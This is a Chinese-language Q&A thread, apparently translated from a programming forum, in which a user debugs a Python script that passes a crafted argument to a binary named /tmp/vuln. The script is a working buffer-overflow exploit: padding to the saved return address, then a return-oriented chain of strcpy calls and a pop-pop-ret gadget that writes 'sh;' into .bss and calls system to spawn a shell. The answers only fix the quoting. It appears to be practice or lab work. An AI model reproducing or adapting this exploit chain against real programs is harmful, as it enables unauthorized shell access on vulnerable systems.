我正在尝试在python脚本上执行带有输入字符串参数的c程序。但我得到一个类型错误。
p - >是一个字符串变量 vuln - >是一个c二进制文件,我可以使用终端
执行这是给出错误的行:
system("/tmp/vuln\""+p+"\"")
TypeError:system()参数1必须是不带空字节的字符串,而不是str
由于
更新:这是完整的代码
#!/usr/bin/python
from struct import pack
from os import system
junk = 'A'*1036 #junk to offset to stored ret
strcpy = pack("<L", 0x0016bf60) #system - 0x10
ppr = pack("<L", 0x080483c2) #pop pop ret
p = junk
p += strcpy
p += ppr
p += pack("<L", 0x0804969c) #bss
p += pack("<L", 0x08048142) # 's'
p += strcpy
p += ppr
p += pack("<L", 0x0804969d) #bss+1
p += pack("<L", 0x080482fa) # 'h'
p += strcpy
p += ppr
p += pack("<L", 0x0804969f) #bss+2
p += pack("<L", 0x080484ff) # ';'
p += pack("<L", 0x0016bf70) #system
p += "AAAA"
p += pack("<L", 0x0804969c) #bss (now contains "sh;<junk>")
system("/tmp/vuln " + p)
答案 0 :(得分:0)
您不需要转义双引号。
system("/tmp/vuln " + p) # note the space before the ending quote
应该可以正常工作。
请注意,如果您想阅读vuln
的输出或以任何方式与其进行互动,那么使用subprocess
模块会更好。
答案 1 :(得分:0)
您的输入字符串全部搞砸了
system("/tmp/vuln " + p)
额外的退格是转义字符,你不需要这些